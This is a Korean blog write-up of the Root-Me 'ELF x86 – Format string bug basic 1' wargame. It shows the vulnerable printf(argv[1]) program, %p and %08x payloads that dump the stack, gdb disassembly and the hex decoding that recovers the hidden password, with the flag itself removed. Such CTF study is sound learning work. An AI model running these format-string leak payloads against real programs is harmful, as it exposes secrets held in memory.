1. intro
2. code & 분석
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
코드를 요약하면
.passwd 파일을 열고
buffer 변수에 32byte를 할당하고
fgets로 buffer 변수 size만큼 secret 파일에서 가져와서 buffer 변수에 저장한 뒤
printf로 argv[1]을 출력하고
종료한다.
하지만 printf(변수명)을 사용하기 때문에 format string bug가 발생한다.
format string bug의 주요 사항은
출력 함수의 대상이 %s, %p, %x, %c, %n과 같이 format string인 경우 memory leak 또는 변조가 가능하다는 점이다.
테스트로 아래와 같이 출력해보았다
pp-systeme-ch5@challenge02:~$ ./ch5 %p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0x20.0x804b160.0x804853d.0x9.0xbffffd48.0xb7e1b679.0xbffffc14.0xb7fc3000.0xb7fc3000.0x804b160
더 많이 출력해보자.
app-systeme-ch5@challenge02:~$ ./ch5 `perl -e 'print "%p",".%p"x300'`
0x20.0x804b160.0x804853d.0x9.0xbffff9df.0xb7e1b679.0xbffff8a4.0xb7fc3000.0xb7fc3000.0x804b160.0x39617044.0x28293664.0x6d617045.0xbf000a64.0x804861b.0x2.0xbffff8a4.0xbffff8b0.0x3b073e00.0xbffff810.(nil).(nil).0xb7e03fa1.0xb7fc3000.0xb7fc3000.(nil).0xb7e03fa1.0x2.0xbffff8a4.0xbffff8b0.0xbffff834.0x1.(nil).0xb7fc3000.0xb7fe771a.0xb7fff000.(nil).0xb7fc3000.(nil).(nil).0x65df18fb.0x5a51feeb.(nil).(nil).(nil).0x2.0x8048410.(nil).0xb7fecde0.0xb7fe7970.0x804a000.0x2.0x8048410.(nil).0x8048442.0x8048526.0x2.0xbffff8a4.0x80485d0.0x8048630.0xb7fe7970.0xbffff89c.0xb7fff940.0x2.0xbffff9df.0xbffff9e5.(nil).0xbffffd6c.0xbffffd97.0xbffffdce.0xbffffddf.0xbffffe01.0xbffffe47.0xbffffe5a.0xbffffe6f.0xbffffe8e.0xbffffeae.0xbffffed1.0xbffffee4.0xbfffff03.0xbfffff17.0xbfffff27.0xbfffff32.0xbfffff3a.0xbfffff52.0xbfffff71.0xbfffffee.(nil).0x20.0xb7fd7bac.0x21.0xb7fd7000.0x10.0x1fabfbff.0x6.0x1000.0x11.0x64.0x3.0x8048034.0x4.0x20.0x5.0x9.0x7.0xb7fd8000.0x8.(nil).0x9.0x8048410.0xb.0x451.0xc.0x4b5.0xd.0x451.0xe.0x451.0x17.0x1.0x19.0xbffff9bb.0x1a.(nil).0x1f.0xbffffff6.0xf.0xbffff9cb.(nil).(nil).(nil).(nil).(nil).0xd5000000.0x9c3b073e.0x18c24d17.0x98e40292.0x69d3fad9.0x363836.(nil).(nil).(nil).0x2e000000.0x3568632f.0x2e702500.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0app-systeme-ch5@challenge02:~$
수많은 값이 나오다가 어느 순간 반복되는 값이 나온다.
해당 내용을 자세히 보니 %p.%p.%p.......의 유니코드 넘버이다.
그러므로 %p.%p.%p.... 이 반복되기 전의 값들은 argv[1] 위치보다 앞에 있는 주소의 값들임을 추측할 수 있다.
gdb를 통해 자세히 확인해보자.
개인적으로
gdb or peda or pwndbg 보다는 gef가
intel 보다는 at&t 문법이 눈에 익어있기에 이를 기준으로 확인해 보았다.
참고로 미리 언급하자면, gdb로 파일을 실행해보면 계속 seg. fault 가 들 것이다.
이유는 fopen에서 .passwd 파일을 읽어야 하는데 권한이 없어서 파일을 읽어오지 못하기 때문이다.
app-systeme-ch5@challenge02:~$ gdb-gef ./ch5
Reading symbols from ./ch5...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 8.1.1 using Python engine 3.6
gef➤ disas main
gef➤ set disassembly-flavor att
gef➤ disas main
Dump of assembler code for function main:
0x08048526 <+0>: lea 0x4(%esp),%ecx
0x0804852a <+4>: and $0xfffffff0,%esp
0x0804852d <+7>: pushl -0x4(%ecx)
0x08048530 <+10>: push %ebp
0x08048531 <+11>: mov %esp,%ebp
0x08048533 <+13>: push %ebx
0x08048534 <+14>: push %ecx
0x08048535 <+15>: sub $0x40,%esp
0x08048538 <+18>: call 0x8048460 <__x86.get_pc_thunk.bx>
0x0804853d <+23>: add $0x1ac3,%ebx
0x08048543 <+29>: mov %ecx,%eax
0x08048545 <+31>: mov 0x4(%eax),%eax
0x08048548 <+34>: mov %eax,-0x3c(%ebp)
0x0804854b <+37>: mov %gs:0x14,%eax
0x08048551 <+43>: mov %eax,-0xc(%ebp)
0x08048554 <+46>: xor %eax,%eax
0x08048556 <+48>: sub $0x8,%esp
0x08048559 <+51>: lea -0x1990(%ebx),%eax
0x0804855f <+57>: push %eax
0x08048560 <+58>: lea -0x198c(%ebx),%eax
0x08048566 <+64>: push %eax
0x08048567 <+65>: call 0x80483f0 <fopen@plt>
0x0804856c <+70>: add $0x10,%esp
0x0804856f <+73>: mov %eax,-0x30(%ebp)
0x08048572 <+76>: sub $0x4,%esp
0x08048575 <+79>: pushl -0x30(%ebp)
0x08048578 <+82>: push $0x20
0x0804857a <+84>: lea -0x2c(%ebp),%eax
0x0804857d <+87>: push %eax
0x0804857e <+88>: call 0x80483b0 <fgets@plt>
0x08048583 <+93>: add $0x10,%esp
0x08048586 <+96>: mov -0x3c(%ebp),%eax
0x08048589 <+99>: add $0x4,%eax
0x0804858c <+102>: mov (%eax),%eax
0x0804858e <+104>: sub $0xc,%esp
0x08048591 <+107>: push %eax
0x08048592 <+108>: call 0x80483a0 <printf@plt>
0x08048597 <+113>: add $0x10,%esp
0x0804859a <+116>: sub $0xc,%esp
0x0804859d <+119>: pushl -0x30(%ebp)
0x080485a0 <+122>: call 0x80483c0 <fclose@plt>
0x080485a5 <+127>: add $0x10,%esp
0x080485a8 <+130>: mov $0x0,%eax
0x080485ad <+135>: mov -0xc(%ebp),%edx
0x080485b0 <+138>: xor %gs:0x14,%edx
0x080485b7 <+145>: je 0x80485be <main+152>
0x080485b9 <+147>: call 0x8048640 <__stack_chk_fail_local>
0x080485be <+152>: lea -0x8(%ebp),%esp
0x080485c1 <+155>: pop %ecx
0x080485c2 <+156>: pop %ebx
0x080485c3 <+157>: pop %ebp
0x080485c4 <+158>: lea -0x4(%ecx),%esp
0x080485c7 <+161>: ret
End of assembler dump.
gef➤
여기서 유의해서 봐야 할 부분은
fgets 함수를 실행하기 위한 +73 ~ +88,
print 함수를 실행하기 위한 +96 ~ +108
이다.
fgets() 함수의 원형은 아래와 같으며,
#include <stdio.h>
char *fgets (char *string, int n, FILE *stream);
어셈블러 코드에서 보듯이
함수 원형 | source code | assembler code | |
line | code | ||
char *string | buffer | 0x0804857a <+84> | lea -0x2c(%ebp),%eax |
0x0804857d <+87> | push %eax | ||
int n | sizeof(buffer) | 0x08048578 <+82> | push $0x20 |
FILE *stream | secret | 0x08048575 <+79> | push -0x30(%ebp) |
가 된다.
마찬가지로 printf는
#include <stdio.h>
int printf(const char *format-string, argument-list);
어셈블러 코드에서 보듯이
함수 원형 | source code | assembler code | |
line | code | ||
const char *format-string | argv[1] | 0x08048586 <+96> | mov -0x3c(%ebp),%eax |
0x08048589 <+99> | add $0x4,%eax | ||
0x0804858c <+102> | mov (%eax),%eax | ||
0x08048591 <+107> | push %eax |
(0x0804858e <+104>: sub $0xc,%esp 는 printf 함수에 직접적인 영향이 없으므로 제외)
가 된다.
우선 argv[1]의 주소는 %ebp-0x3c의 값에서 4를 더한 값이므로
gef➤ x/x $ebp-0x3c
0xbffffafc: 0xbffffbe4
gef➤ x/x 0xbffffbe8
0xbffffbe8: 0xbffffd32
gef➤ x/s 0xbffffd32
0xbffffd32: "AAAA"
gef➤
buffer 변수의 주소는 %ebp-0x2c 이므로
gef➤ x/x $ebp-0x2c
0xbffffb0c: 0xdb
가 된다.
앞서 %p로 여러개 입력해서 출력된 값들을 다시 떠올려보면 argv[1]보다 앞의 값들을 출력하는 것을 알 수 있다.
현재 buffer의 주소가 argv[1]의 주소보다 앞에 있기에 이 또한 출력되었지 않았을까?
모든 값을 문자열로 바꿔보자.
app-systeme-ch5@challenge02:~$ ./ch5 `perl -e'print "%08x"x145'`
000000200804b1600804853d00000009bffffb2cb7e1b679bffff9f4b7fc3000b7fc30000804b16039617044282936646d617045bf000a640804861b00000002bffff9f4bffffa0060e58e00bffff9600000000000000000b7e03fa1b7fc3000b7fc300000000000b7e03fa100000002bffff9f4bffffa00bffff9840000000100000000b7fc3000b7fe771ab7fff00000000000b7fc30000000000000000000e3fd4e5bdc71484b000000000000000000000000000000020804841000000000b7fecde0b7fe79700804a000000000020804841000000000080484420804852600000002bffff9f4080485d008048630b7fe7970bffff9ecb7fff94000000002bffffb2cbffffb3200000000bffffd77bffffda2bffffdd8bffffde9bffffe0bbffffe51bffffe64bffffe79bffffe98bffffeb8bffffedabffffeedbfffff0cbfffff17bfffff27bfffff32bfffff3abfffff52bfffff71bfffffee0000000000000020b7fd7bac00000021b7fd7000000000101fabfbff0000000600001000000000110000006400000003080480340000000400000020000000050000000900000007b7fd8000000000080000000000000009080484100000000b000004510000000c000004b50000000d000004510000000e00000451000000170000000100000019bffffb0b0000001a000000000000001fbffffff60000000fbffffb1b000000000000000000000000000000000000000019000000c760e58ed4920e07596d7e4a691a62e00036383600000000000000000000000068632f2e3025003530257838
a='000000200804b1600804853d00000009bffffb2cb7e1b679bffff9f4b7fc3000b7fc30000804b16039617044282936646d617045bf000a640804861b00000002bffff9f4bffffa0060e58e00bffff9600000000000000000b7e03fa1b7fc3000b7fc300000000000b7e03fa100000002bffff9f4bffffa00bffff9840000000100000000b7fc3000b7fe771ab7fff00000000000b7fc30000000000000000000e3fd4e5bdc71484b000000000000000000000000000000020804841000000000b7fecde0b7fe79700804a000000000020804841000000000080484420804852600000002bffff9f4080485d008048630b7fe7970bffff9ecb7fff94000000002bffffb2cbffffb3200000000bffffd77bffffda2bffffdd8bffffde9bffffe0bbffffe51bffffe64bffffe79bffffe98bffffeb8bffffedabffffeedbfffff0cbfffff17bfffff27bfffff32bfffff3abfffff52bfffff71bfffffee0000000000000020b7fd7bac00000021b7fd7000000000101fabfbff0000000600001000000000110000006400000003080480340000000400000020000000050000000900000007b7fd8000000000080000000000000009080484100000000b000004510000000c000004b50000000d000004510000000e00000451000000170000000100000019bffffb0b0000001a000000000000001fbffffff60000000fbffffb1b000000000000000000000000000000000000000019000000c760e58ed4920e07596d7e4a691a62e00036383600000000000000000000000068632f2e3025003530257838'
>>> print (a.decode('hex'))
▒▒= ▒▒▒,▒▒y▒▒▒▒▒0▒▒▒`9apD()6dmapE▒
▒▒▒▒▒▒`▒▒▒▒`▒▒?▒▒▒0▒▒0▒▒?▒▒▒▒▒▒▒▒▒▒▒▒0▒▒w▒▒▒▒▒0▒▒N[▒qH▒▒▒▒▒▒y▒▒&▒▒▒▒▒0▒▒yp▒▒▒▒▒▒@▒▒▒,▒▒▒2▒▒▒w▒▒▒▒▒ؿ▒▒▒▒▒
▒▒▒Q▒▒▒d▒▒▒y▒▒▒▒▒▒▒▒▒▒▒ڿ▒▒▒▒▒
▒▒▒▒▒▒'▒▒▒2▒▒▒:▒▒▒R▒▒▒q▒▒▒▒ ▒▒{▒!▒▒p▒▒▒▒4 ▒▒ ▒
Q
QQ▒▒▒
▒▒▒▒▒▒▒`▒ԒYm~Jib▒686hc/.0%50%x8
>>> a='39617044282936646d617045'
>>> print (a.decode('hex'))
9apD()6dmapE
key 값으로 추측되는 유의미한 값이 나왔다.
hex 값은 역순으로 stack에 쌓이기에 이를 4 byte 씩 뒤집어보면
Dpa9d6)(Epam
이를 시도해 보았으나 실패하였다.
이유는 파일을 열고 값을 가져올때 끝을 나타내기 위해 null 또는 '\n' 즉 '\x0a' 값이 들어가는데, 위의 key로 추정되는 값의 hex 값에는 그것이 없다.
조금 더 길이를 늘려 변환해보면
>>> a='804b16039617044282936646d617045bf000a64'
>>> print (a.decode('hex'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/encodings/hex_codec.py", line 42, in hex_decode
output = binascii.a2b_hex(input)
TypeError: Odd-length string
>>> a='0804b16039617044282936646d617045bf000a64'
>>> print (a.decode('hex')) ▒`9apD()6dmapE▒
d
이후에 d가 있는 것을 알 수 있다.
그러므로 key는
-------------- #플래그는 삭제
삽질의 흔적.
basic fsb이기에 값이 바로 출력될 것이라고 추측하였음에도 불구하고 처음에는 특정 주소에 특정 값을 넣어보려고 노력하였다.
즉, printf가 참고하는 argv[1] 문자열의 주소를 buffer로 바꾸려고 하였다.
하지만 페이로드의 자릿수가 지속적으로 맞지 않는 현상이 발생하였다.
예를 들면
AAAA%p%n과 같이 입력하였을때 참조하는 주소가 AAAA가 아니라 AAA%를 지속적으로 참조하였다.
이유는 확실히 알 수 없으나 이런 상황에서도 원하는 위치에 값을 넣을 수 있는 방법이 있을거라고 생각한다.
다음에 시도해봐야지.(라고 하고 잊어버리겠지...)
to do list에까지 적어놨던 위의 시도가 얼마나 멍청한 것이었는지 갑자기 생각이 났다.
어차피 printf 함수에 의해서 format string bug가 발생하는데,
함수가 실행된 다음에 인자의 값을 바꿔봐야 무슨 소용인지... 멍청이...
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - Race condition (0) | 2022.07.07 |
---|---|
[App-System] ELF x86 - Format string bug basic 2 (0) | 2022.07.04 |
[App-System] ELF x64 - Stack buffer overflow - basic (0) | 2022.07.04 |
[App-System] ELF x86 - Stack buffer overflow basic 2 (0) | 2022.07.03 |
[App-System] ELF x86 - Stack buffer overflow basic 1 (0) | 2022.07.02 |